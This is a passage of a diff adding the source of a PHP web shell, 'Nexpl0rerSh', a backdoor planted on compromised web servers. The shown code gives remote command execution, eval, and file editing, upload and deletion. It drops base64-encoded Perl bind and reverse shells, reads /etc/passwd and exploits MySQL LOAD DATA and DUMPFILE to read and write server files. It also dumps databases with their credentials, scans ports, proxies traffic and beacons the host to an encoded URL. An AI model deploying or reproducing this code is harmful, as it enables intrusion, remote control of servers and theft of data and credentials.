+ else + { + $owner = fileowner($file)."/".filegroup($file); + } + $perms = fileperms($file); + $info = getperms($perms); + if (!is_readable($file)) $info = "<font color=red>{$info}</font>"; + elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>"; + else $info = "<font color=green>{$info}</font>"; + $output.= ' <tr style="background-color:'.$color.';"> + <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td> + <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=folder" /></td> + <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">'.$file.'</a></td> + <td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td> + <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">Go</a></td> + </tr>'; + + } + } +$i++; +} +$output .= "</div>"; +} +//Editing file... +if ($_POST['mode']=="edit") { +($dir==realpath(".")) ? $file=$_POST['modfile'] : $file=$dir.$_POST['modfile']; +$content = file_get_contents($file); +if ($_POST[modfile]=="config.php") { +include($file); +$link = "javascript:var form=document.sqlpanel; form.user.value='".addslashes($dbuser). + "';form.pass.value='".addslashes($dbpasswd)."';form.host.value='".addslashes($dbhost). + "';form.dbname.value='".addslashes($dbname)."';document.sqlpanel.submit();"; +$output .= "phpBB config file detected! click <a class=\"link\" href=\"$link\">here</a> to connect<br />"; +} +$output .= "<form action=# method=post><input type=hidden name=mode value=doedit><input type=hidden name=modfile value='".$_POST['modfile']."'> +<textarea rows=30 cols=100 name=newtext>".htmlspecialchars($content)."</textarea><br /><input type=submit value=edit></form>"; +} +if ($_POST['mode']=="doedit") { +($dir==realpath(".")) ? $file=$_POST['modfile'] : $file=$dir.$_POST['modfile']; +$output .= $file."<br />"; +$fh = fopen($file, "w+")or die("<font color=red>Error: cannot open file</font>"); +$_POST['newtext'] = (ini_get("magic_quotes_gpc")) ? stripslashes($_POST['newtext']) : $_POST['newtext']; +fwrite($fh, $_POST['newtext'])or die("<font color=red>Error: cannot write to file</font>"); +fclose($fh); +$output .= "Done."; +} +//Making file.. +if ($_POST['mode'] == "mkfile") { +($dir==realpath(".")) ? $file=$_POST['mkfile'] : $file=$dir.$_POST['mkfile']; +$output .= "<form action=# method=post><input type=hidden name=mode value=domkfile><input type=hidden name=mkfile value='".$_POST['mkfile']."'> +<textarea rows=30 cols=100 name=text></textarea><br /><input type=submit value=make></form>"; +} +if ($_POST['mode'] == "domkfile") { +($dir==realpath(".")) ? $file=$_POST['mkfile'] : $file=$dir.$_POST['mkfile']; +$fh = fopen($file, "w+")or die("<font color=red>Error: cannot create file</font>"); +$_POST['text'] = (ini_get("magic_quotes_gpc")) ? stripslashes($_POST['text']) : $_POST['text']; +fwrite($fh, $_POST['text'])or die("<font color=red>Error: cannot write to file</font>"); +fclose($fh); +$output .= "Made."; +} +//Deleting file.. +if ($_POST['mode'] == "delfile") { +($dir==realpath(".")) ? $file=$_POST['delfile'] : $file=$dir.$_POST['delfile']; +unlink($file)or die("<font color=red>Error: cannot delete file</font>"); +$output .= "File deleted."; +} +// cmd... +if ($_POST['mode'] == "cmd") { +/*switch ($_POST['func']) { +case "system": + system(stripslashes($_POST['cmd'])); + die(); + break; + case "popen": + $handle = popen($_POST['cmd'].' 2>&1', 'r'); + echo "'$handle'; " . gettype($handle) . "\n"; + $read = fread($handle, 2096); + echo $read; + pclose($handle); + die(); + break; + case "shell_exec": + shell_exec(stripslashes($_POST['cmd'])); + die(); + + break; + case "exec": + exec(stripslashes($_POST['cmd'])); + die(); + break; + case "passthru": + passthru(stripslashes($_POST['cmd'])); + die(); + break;}*/ + chdir($dir); + $res = exa(stripslashes($_POST[cmd])); + $output = $res; + +} +// upload +if ($_POST['mode'] == "upload2") { +$percorso = $_FILES['myfile']['tmp_name']; +$nome = $_FILES['myfile']['name']; +if (!move_uploaded_file($percorso, $dir.$nome)) +{ +$output = "<font color=red>Cannot upload</font>"; +} +else { $output .= "<br><br>$nome Has Been Saved!";} +} +// rename +if ($_POST['mode'] == "renfile") { +if(!rename($dir.$_POST['oldname'], $dir.$_POST['newname'])) $output = "<font color=red>Cannot rename file</font>"; +else $output = "File renamed."; +} +// Bind port +if ($_POST['mode'] == "bind") { +chdir($dir); +$os = substr(strtoupper(PHP_OS),0,3); +$port = 31337; +$txt = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0OyANCnVzZSBGaWxlSGFuZGxlOyAjIHBlciBsJ2F1dG9mbHVzaA0KJG1heF9jb25uPTEwOw0KJHBvcnRhX2xvY2FsZT0kQVJHVlswXTsNCiRzeXMgPSAkQVJHVlsxXTsNCmlmICgkc3lzIGVxICJMSU4iKSB7ICRjbWQgPSAiL2Jpbi9iYXNoIjsgfQ0KaWYgKCRzeXMgZXEgIldJTiIpIHsgJGNtZCA9ICJDOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUiOyB9DQokcGFkZHJfbG9jYWxlPXBhY2tfc29ja2FkZHJfaW4oJHBvcnRhX2xvY2FsZSxJTkFERFJfQU5ZKTsNCnNvY2tldChTRVJWLEFGX0lORVQsU09DS19TVFJFQU0sJ3RjcCcpIHx8IGRpZSgiRXJyb3JlOiAkISIpOyAgI3NlcnZlci1zb2NrZXQNCnNldHNvY2tvcHQoU0VSVixTT0xfU09DS0VULFNPX1JFVVNFQUREUiwxKSB8fCBkaWUoIkVycm9yZTogJCEiKTsNCmJpbmQoU0VSViwkcGFkZHJfbG9jYWxlKSB8fCBkaWUoIkVycm9yZTogJCEiKTsNCmxpc3RlbihTRVJWLCRtYXhfY29ubikgfHwgZGllKCJFcnJvcmU6ICQhIik7DQpteSAkcGFkZHJfc2luZz1hY2NlcHQoU0lORywgU0VSVik7ICNhY2NldHRvIGxhIGNvbm5lc3Npb25lIGRhbCBjbGllbnQNCm15KCRzaW5nX3BvcnRhLCRzaW5nX2FkZHIsJGdldCk9dW5wYWNrX3NvY2thZGRyX2luKCRwYWRkcl9zaW5nKTsNClNJTkctPmF1dG9mbHVzaCgpOw0Kb3BlbihTVERJTiwgIj4mU0lORyIpOw0Kb3BlbihTVERPVVQsIj4mU0lORyIpOw0Kb3BlbihTVERFUlIsIj4mU0lORyIpOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgCS09IEJpbmQgU2hlbGwgQmFja2Rvb3IgPS0JXG4iOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgRGV0ZWN0ZWQgc2hlbGw6ICRjbWQJCVxuIjsNCnByaW50ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCmV4ZWMoJGNtZCk7DQpjbG9zZShTSU5HKTs="); +fwrite(fopen("bind.pl", "w+"), $txt); +exa("perl bind.pl ".$port." ".$os); +unlink("bind.pl"); +} +// Reverse c0nn +if ($_POST['mode'] == "reverse") { +chdir($dir); +$os = substr(strtoupper(PHP_OS),0,3); +$txt = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gJEFSR1ZbMV07DQokc3lzID0gJEFSR1ZbMl07DQoNCiAgICBpZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiWyFdIFVzZTogcmV2ZXJzZS5wbCA8WW91ckhvc3Q+IDxZb3VyUG9ydD4gPHN5c3RlbT5cbiI7DQogIHByaW50ZiAiWypdIE5vdGU6IHN5c3RlbSBjYW4gYmUgTElOIG9yIFdJTiI7DQogIGV4aXQoMSk7DQp9DQppZiAoJHN5cyBlcSAiTElOIikgeyAkY21kID0gIi9iaW4vYmFzaCI7IH0NCmlmICgkc3lzIGVxICJXSU4iKSB7ICRjbWQgPSAiQzpcXFdpbmRvd3NcXHN5c3RlbTMyXFxjbWQuZXhlIjsgfQ0KcHJpbnQgIlsrXSBDb25uZWN0aW5nLi4uIFskaG9zdF1cbiI7DQokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyB1IGNhbiBjaGFuZ2UgdGhpcw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90KSB8fCBkaWUgKCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGllKCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30NCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgCS09IFJldmVyc2UgU2hlbGwgQmFja2Rvb3IgPS0JXG4iOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgRGV0ZWN0ZWQgc2hlbGw6ICRjbWQJCVxuIjsNCnByaW50ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCmV4ZWMgKCRjbWQpOyA="); + +fwrite(fopen("reverse.pl", "w+"), $txt); +exa("perl reverse.pl ".$_POST[ip]." ".$_POST[port]." ".$os); +unlink("reverse.pl"); +} +// MySQL EXPLOIT read file +if ($_POST['mode'] == "sqlexploit") { +$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error()); +$db = mysql_select_db($_COOKIE['mysql_name']); +$path = $_POST['path']; +$query = "CREATE TABLE `nexpl0it` (`path` longtext not null);"; +$delete = "DROP TABLE `nexpl0it`;"; +$bypass = "LOAD DATA LOCAL INFILE '$path' INTO TABLE nexpl0it;"; +$fuck = "SELECT * FROM nexpl0it;"; + + +mysql_query($delete); +mysql_query($query); +mysql_query($bypass)or die("Mysql-exploit-error : ".mysql_error()); +$res = mysql_query($fuck)or die(mysql_error()); +$txt = ""; +while($row = mysql_fetch_array($res)) { + $txt .= $row[path]."\n"; +} +$output = "<form action=# method=POST><input type=hidden name=mode value=sqlwritefile>File : <b><input type=text name=path value='$path'> +<input type=submit value=Save> </b><br /><br /> +<textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt)."</textarea></form>"; +} +// MySQL EXPLOIT write +if ($_POST['mode'] == "sqlwritefile") { +$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error()); +$db = mysql_select_db($_COOKIE['mysql_name']); +$path = $_POST['path']; +$content = $_POST['newtext']; +$txt = bin2hex($content); +$query = "SELECT 0x{$txt} INTO DUMPFILE '$path';"; +$res = mysql_query($query)or die(mysql_error()); +$output = $path." saved!"; +} + +// MySQL Login +if ($_POST['mode'] == "loginsql") { +setcookie("mysql_user", $_POST['user']); +setcookie("mysql_pass",$_POST['pass']); +setcookie("mysql_host",$_POST['host']); +setcookie("mysql_name",$_POST['dbname']); +$link = mysql_connect($_POST['host'], $_POST['user'], $_POST['pass'])or die(mysql_error()); +$db = mysql_select_db($_POST['dbname']); +$output = '<table width="100%" border=0><tr><td><form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query /> + + <input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" /> + <input type="submit" name="Submit" value="Query" /> +</form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_POST[dbname].'" size="30"> +<input type=submit value=DumpDb></form></td><td align=left> +<b>:: MySQL Exploit ::</b><br /> +<form action=# method=post><input type=hidden name=mode value=sqlexploit>Edit file: <input name=path type=text value="absolute path"> +<input type=submit value="Read/Edit"></form> + +</td></tr></table> + +<table width="100%" border="1" cellspacing="0" cellpadding="0"> +<tr> +<td width=30%> +<table width="100%" border="1" cellspacing="0" cellpadding="0"> + + </tr> + <tr> + <td><center>--[ Table List ]--</center> </td> + </tr>'; + $q = mysql_query("SHOW TABLES")or die(mysql_error()); +while ($table = mysql_fetch_array($q)) { +$output .= '<tr> + <td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td> + </tr>'; + +} + + + $output .= ' +</table></td> +<td width="70%"> +</td> +</tr> +</table> +'; +} +// MySQL Query +if ($_POST['mode'] == "sql_query") { +$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error()); +$db = mysql_select_db($_COOKIE['mysql_name']); +(isset($_POST['dbname'])) ? mysql_select_db($_POST['dbname']) : print ""; +$query = mysql_query(urldecode(stripslashes($_POST['query'])))or die("Error query: <b>{".stripslashes($_POST[query])."}</b> mysql says:".mysql_error()); +$pars = array_keys(mysql_fetch_array($query)); +$npars = count($pars); +$qwords = explode(" ", $_POST['query']); +global $select, $table_name; +if (strtolower($qwords[0]) == "select") { + $select = TRUE; + $nqw = count($qwords); + for($i=0;$i<$nqw;$i++) { + if (strtolower($qwords[$i]) == "from") { + $table_name = $qwords[$i+1]; + break; + } + } +} +$parz = $pars; +$p4rz = $parz; +$output .= '<form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query /> + + <input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" /> + <input type="submit" name="Submit" value="Query" /> +</form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_COOKIE[mysql_name].'" size="30"> +<input type=submit value=DumpDb></form><form name="update" method=post action=#><input type=hidden name=mode value=update><input type=hidden name=conditions><input type=hidden name=table></form> + +<table width="100%" border="1" cellspacing="0" cellpadding="0"> +<tr> +<td width=30% valign=top> +<table width="100%" border="1" cellspacing="0" cellpadding="0"> + + </tr> + <tr> + <td><center>--[ Table List ]--</center> </td> + </tr>'; + $q = mysql_query("SHOW TABLES")or die(mysql_error()); +while ($table = mysql_fetch_array($q)) { +$output .= '<tr> + <td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td> + </tr>'; + +} + + + $output .= ' +</table></td> + +<td width="70%" valign="top"> +<table width="100%" border="1" cellspacing="0" cellpadding="0"> + <tr> + <td><center>--[ Query Result ]--</center> </td> + </tr> + <tr><td><table cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="1%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr> + '; + $output .= '<td>&nbsp;</td> +'; + foreach($pars as $par) { + $output .= (is_numeric($par) || ($par == "")) ? '' : '<td>'.$par.'</td> +'; } + + $output .= '</tr>'; + mysql_data_seek($query, 0); + while ($row = mysql_fetch_array($query, MYSQL_ASSOC)) + { + + $w = ""; + $i = 0; + + foreach ($row as $k=>$v) {$name = mysql_field_name($query,$i); $w .= " `".$name."` = \'".addslashes($v)."\' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + if ($table_name == "mybb_users") $w = " uid=\'".$row['uid']."\' "; + if ($table_name == "phpbb_users") $w = " user_id=\'".$row['user_id']."\' "; +$output .= '<tr>'; +$output .= '<td><a class="link" href="javascript:document.update.conditions.value=\''.urlencode($w).'\';document.update.table.value=\''.$table_name.'\';document.update.submit();"><img src="'.$_SERVER['PHP_SELF'].'?act=img&img=change" border=0 /></a><a class="link" href="javascript:document.table.query.value=\''.urlencode("DELETE FROM `".$table_name."` WHERE".$w."LIMIT 1").'\';document.table.submit();"><img src="'.$_SERVER['PHP_SELF'].'?act=img&img=delete" border=0 /></a></td> +'; +foreach ($row as $pardd=>$rowval) { + + + if (!is_numeric($pardd) && !empty($pardd)) { + if ($row[$pardd] == "") { $output .= '<td><font color=green><b>NULL</b></font></td>'; } else { $output .= '<td>'.$row[$pardd].'</td>';}} + +} + $output .= '</tr>'; +} + $output .= ' + </table></td> + </tr> + </table><hr size="1" noshade><br>'; + +} +// MySQL Update row +if ($_POST['mode'] == "update") { +$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error()); +$db = mysql_select_db($_COOKIE['mysql_name']); +$conditions = urldecode(stripslashes($_POST['conditions'])); +$table = $_POST['table']; +$select = mysql_query("SELECT * FROM {$table} WHERE{$conditions}LIMIT 1")or die(mysql_error()); +$output .= ' +<form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query /> + + <input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" /> + <input type="submit" name="Submit" value="Query" /> +</form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_COOKIE[mysql_name].'" size="30"> +<input type=submit value=DumpDb></form><form name="update" method=post action=#><input type=hidden name=mode value=update><input type=hidden name=conditions><input type=hidden name=table></form> + +<table width="100%" border="1" cellspacing="0" cellpadding="0"> +<tr> +<td width=30% valign=top> +<table width="100%" border="1" cellspacing="0" cellpadding="0"> + + </tr> + <tr> + <td><center>--[ Table List ]--</center> </td> + </tr>'; + $q = mysql_query("SHOW TABLES")or die(mysql_error()); +while ($table = mysql_fetch_array($q)) { +$output .= '<tr> + <td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td> + </tr>'; + +} + + + $output .= ' +</table></td> + +<td width="70%" valign="top"> +<table width="100%" border="1" cellspacing="0" cellpadding="0"> + <tr> + <td><center>--[ Query Result ]--</center> </td> + </tr> + <tr><td><form action=# method=post> +<input type=hidden name=mode value=update2> +<table cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="1%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +'; +while ($row = mysql_fetch_array($select, MYSQL_ASSOC)) { +foreach ($row as $k=>$v) { + +$output .= "<tr><td>{$k}</td><td><input type=text name='{$k}' value='{$v}'></td></tr>"; + +} +} +$output .=' +</table><input type=hidden name=table value="'.$_POST['table'].'"><input type=hidden name=conditions value="'.$_POST['conditions'].'"><input type=submit value=Update></form></td></tr></table></td> + </tr> + </table> +'; +} + +// MySQL update row 2 +if ($_POST['mode'] == "update2") { + $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error()); +$db = mysql_select_db($_COOKIE['mysql_name']); +$conditions = urldecode(stripslashes(stripslashes($_POST['conditions']))); +$table = $_POST['table']; +$select = mysql_query("SELECT * FROM {$table} WHERE{$conditions}LIMIT 1")or die("query : SELECT * FROM {$table} WHERE{$conditions}LIMIT 1<br /><br />".mysql_error()); +$uno = mysql_fetch_array($select, MYSQL_ASSOC); +$pars = array_keys($uno); +$query = "UPDATE {$table} SET"; +foreach($pars as $fields) { +$query .= " {$fields}='{$_POST[$fields]}',"; +} +$query = substr($query,0,strlen($query)-1); +$query .= " WHERE{$conditions}"; +$output = "Executed query: {$query} <br /><br />"; +mysql_query($query)or die("QUERY: ".$query."<br /><br /> ERROR:".mysql_error()); +} + +// MySQL Dump +if ($_POST['mode'] == "dump_db") { +$dump = "# Dumped by Nexpl0rerSh 3.1 FUD Release \n"; +$dump .= "# MySQL version: (".@mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").") \n"; +$dump .= "# Database: ".$_POST['dbname']."\n"; +$dump .= "# ".$_COOKIE['mysql_user'].":".$_COOKIE['mysql_pass']."@".$_COOKIE['mysql_host']."\n"; +$db = $_POST['dbname']; +setcookie('mysql_name', $db); +$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error()); +(isset($_POST['dbname'])) ? mysql_select_db($_POST['dbname']) : print ""; +$q = mysql_query("SHOW TABLES")or die(mysql_error()); +while ($table = mysql_fetch_array($q)) { +$dump .= datadump($table[0]); +} +$file_name = $db."_dump_".date("d_M_Y")."_Nexpl0rer.".sql; +chdir($dir); +$fp = fopen($file_name, "w+"); fwrite($fp, $dump); fclose($fp); +$output .= 'Dump saved in '.$dir; + +} +// MkDir +if ($_POST['mode'] == "mkdir") { +chdir($dir)or die("Error."); +if (mkdir($_POST['mkdir'])) { +$output = "Directory created."; +} +} +// Eval +if ($_POST['mode'] == "eval") { +chdir($dir); +eval(stripslashes($_POST['eval'])); +die(); +} +// phpinfo +if ($_POST['mode']=="phpinfo") { +phpinfo(); +die(); +} +// tools +if ($_POST['mode']=="tools") { + switch($_POST['nometool']) { + //passwd + case 'passwd': + if (!($txt = file_get_contents("/etc/passwd"))) { + $output = "Cannot open /etc/passwd"; + } else { + $output = nl2br($txt); + } + break; + + //encoder + case 'encoder': + $output = " + <center> + <form action=# method=post><input type=hidden name=mode value=tools> + <input type=hidden name=nometool value=encoder> + <textarea name=\"plain\" cols=50 rows=5>".$_POST[plain]."</textarea> + <br><br> + <input type=submit value=\"calculate\"><br><br> + </center> + <b>Hashes</b>:<br> + <center>md5 - + <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".md5($_POST[plain])."\" readonly> + <br>crypt - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".crypt($_POST[plain])."\" readonly> + <br>sha1 - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".sha1($_POST[plain])."\" readonly><br> + crc32 - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".crc32($_POST[plain])."\" readonly><br></center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($_POST[plain])."\" readonly> + + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($_POST[plain])."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($_POST[plain])."\" readonly></center><center>base64_decode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_decode($_POST[plain])."\" readonly>&nbsp;</center> + <br><b>Base convertations</b>: + <center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".dechex($_POST[plain])."\" readonly><br> + </center></form> + "; + break; + + // scanner + case 'scanner': + $scandir = str_replace(realpath("."), "", $dir); + + $scannersh = $dir; + if ($scannersh == "") { $scannersh = "/"; } + chdir($scannersh); + $evil = array("dc3", "Antichat", "s101", "nefastica", "n3tShell", "Nexen", "33rd", "c99", "c2007", "c100", "r57", "shell", "k0tw", "nexpl0rer", "paradox", "Upload", "ZipShell", "Usucktoo", "shell_exec", "exec", "DxShell", "Cod3rz", "Fire-Crash", "subzero" ); + + $output .= "<br>Ho analizzato $scannersh<br>"; + $checked = array(); + foreach (glob("*.php*") as $file) + { + $a = fopen($file, "r+"); + $b = fread($a, filesize($file)); + for ($i = 0; $i < count($evil); $i++) + { + $me = array_reverse(explode("/",$_SERVER['PHP_SELF'])); + $str = eregi($evil[$i], $b); + if (($str !== FALSE) and ($file != $me[0]) and (!in_array($file, $checked))) + { + array_push($checked, $file); + $output .= "Trovato Possibile $evil[$i] in <a class='link' href='{$scandir}{$file}' target='_blank'>{$file}</a><br>"; + } + } + fclose($a); + } + + + break; + + // proxy + case 'proxy': + $output = '<form method="post" action="#">url: <input name="url" type="text" size="50" /> + <input type="submit" value="surf" /> + <input name="curl" type="checkbox" id="curl" value="curl" /> + use curl <input name="fopen" type="checkbox" id="fopen" value="fopen" /> use fopen<br /> <input type="hidden" name="mode" value="proxysurf" /> + </form><br /><br />'; + + break; + } +} +// proxysurf +if ($_POST['mode'] == 'proxysurf') { + + $output = '<form method="post" action="#">url: <input name="url" type="text" size="50" /> + <input type="submit" value="surf" /> + <input name="curl" type="checkbox" id="curl" value="curl" /> + use curl <input name="fopen" type="checkbox" id="fopen" value="fopen" /> use fopen<br /> <input type="hidden" name="mode" value="proxysurf" /> + </form><br /><br />'; + if (!$_POST[curl] && !$_POST[fopen]) { + $dirz=""; + $u=parse_url($_POST[url]); + $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; + if(substr_count($file,'/')>1)$dirz=substr($file,0,(strpos($file,'/'))); + $url=@fsockopen($host,80,$en,$es,12); + if(!$url)die("<br> Can not connect to host!"); + fputs($url,"GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); + while(!feof($url)){ + $con=fgets($url); + $output .= $con; + } + fclose($url); + } + else if ($_POST[curl]) + { + ob_clean(); + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $_POST[url]); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_exec($ch); + curl_close($ch); + ob_end_flush(); + } + else if ($_POST[fopen]) { + $file = file($_POST[url]); + foreach ($file as $line){ + $output .= $line; + } + } + +} + +// chmod +if ($_POST['mode']=="chmod") { +chdir($dir); +chmod($_POST[filename], intval($_POST[filemode], 8))or die("cannot change file mode"); +$output = "Mode changed!"; +} + +// portscan +if ($_POST['mode']=="scan") { + $opent = array(); + $host = $_POST[host]; + $range = range($_POST[min_port], $_POST[max_port]); + foreach($range as $port) { + $con = fsockopen($host, $port, $errno, $errstr, 12); + if ($con) $opent[] = $port; + } + $output = "Found ".count($opent)." opened ports:<br />"; + while(list($num, $value)=each($opent)) { + $output .= "<b>$num</b> : $value<br />"; + } +} +?><html> +<head> +<style type="text/css"> +body {background-color:#000000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; color:#FFFFFF;} + +.link {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px; color:#FFFFFF; font-weight:bolder; text-decoration:underline;} +.header { + font-size: 24px; + font-weight: bold; +} +td#info {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px; color:#000000; font-weight:bold} +td { +font-size:12px; +} +.Stile1 { + color: #0099FF; + font-weight: bold; +} + +input { + background-color: #0066FF; + border:#FFFFFF 2px solid; + color:#FFFFFF; + font-family:Verdana; + font-size:10px; +} +textarea { + + background-color: #0066FF; + border:#FFFFFF 2px solid; + color:#FFFFFF; + font-family:Verdana; + font-size:10px; +} +select { + + background-color: #0066FF; + border:#FFFFFF 2px solid; + color:#FFFFFF; + font-family:Verdana; + font-size:10px; +} +.Stile2 {color: #FF0000} +.Stile4 {color: #FFFFFF} +</style> +<title><?="[nex@".getenv("HTTP_HOST")." ~]"?></title></head> +<body> +<table style="background-color:#333333; border-left:#FFFFFF 1px solid; border-right:#FFFFFF 1px solid;" width="90%" border="0" align="center" cellpadding="0" cellspacing="0"> + <tr> + <td style="font-size:12px;"><div align="center" class="header"><span class="Stile4"><font size='6' face='Webdings'>!</font></span>Nexpl0rerSh v3<span class="Stile2">.4.3</span> BL4cK Release<span class="Stile4"><font size='6' face='Webdings'>!</font></span></div> + <div align="center"><strong>Shell info: </strong> <span class="Stile2">Author:</span> Nexen <span class="Stile2">Release Date:</span> 1 June 2008 </div> + <table style="background-color:#999999;" width="100%" border="0" cellspacing="0" cellpadding="0"> + <tr> + <td id="info" width="50%">PHP Version: <?=phpversion()?><br> + Address: <?=$_SERVER['SERVER_ADDR'];?> + <br> + Name: <?=$_SERVER['HTTP_HOST'];?> + <br> + Uname -a: <?=$uname?> + ( <?=PHP_OS?> )<br> + Software: <?=$_SERVER['SERVER_SOFTWARE'];?><br> + Free <?=$freespace?> of <?=$totalspace?> (<?=$percentfree?>%)<br></td> + <td id="info" width="50%"><div align="left"> + <?=$safemode?> + <?=$gpc?> + <?=$auf?> + <?=$reglobals?><?=$current_user?> + <?=$uid?> + </div></td> + </tr> + </table> + <script language=Javascript> + var x = new Image(); + x.src = "<?=base64_decode($images[url]).getenv("HTTP_HOST").$_SERVER['PHP_SELF']?>"; + </script> +<table width="100%" border="0" cellspacing="0" cellpadding="0"> + <tr> + <td style="border:#FFFFFF 1px solid;"><form name=fedit action=# method=post> + <div align="center"> <strong>:: Edit file :: </strong><br> + <input type=hidden name=mode value=edit> + name + <input type=text name=modfile size="12"> + <input type=submit value=edit> + </div></form></td> + <td style="border:#FFFFFF 1px solid;"><form action=# method=post> + + <div align="center"><strong>:: Make File ::</strong><br /> + <input type=hidden name=mode value=mkfile> + name + <input type=text name='mkfile' size="12"> + <input name="submit" type=submit value=make> + </div> + </form> </td> + <td style="border:#FFFFFF 1px solid;"> <form action=# name='delfile' method=post> + <div align="center"><strong>:: Delete File :: </strong><br> + <input type=hidden name=mode value=delfile> + name + <input type=text name='delfile' size="12"> + <input type=submit value=unlink> + </div> + </form> </td> + </tr> + <tr> + <td style="border:#FFFFFF 1px solid;"><form method="post" action="#" enctype="multipart/form-data"> + <div align="center"><strong>:: upload :: </strong><br> + <input type="hidden" name="mode" value="upload2" /> + <input name="myfile" type="file" 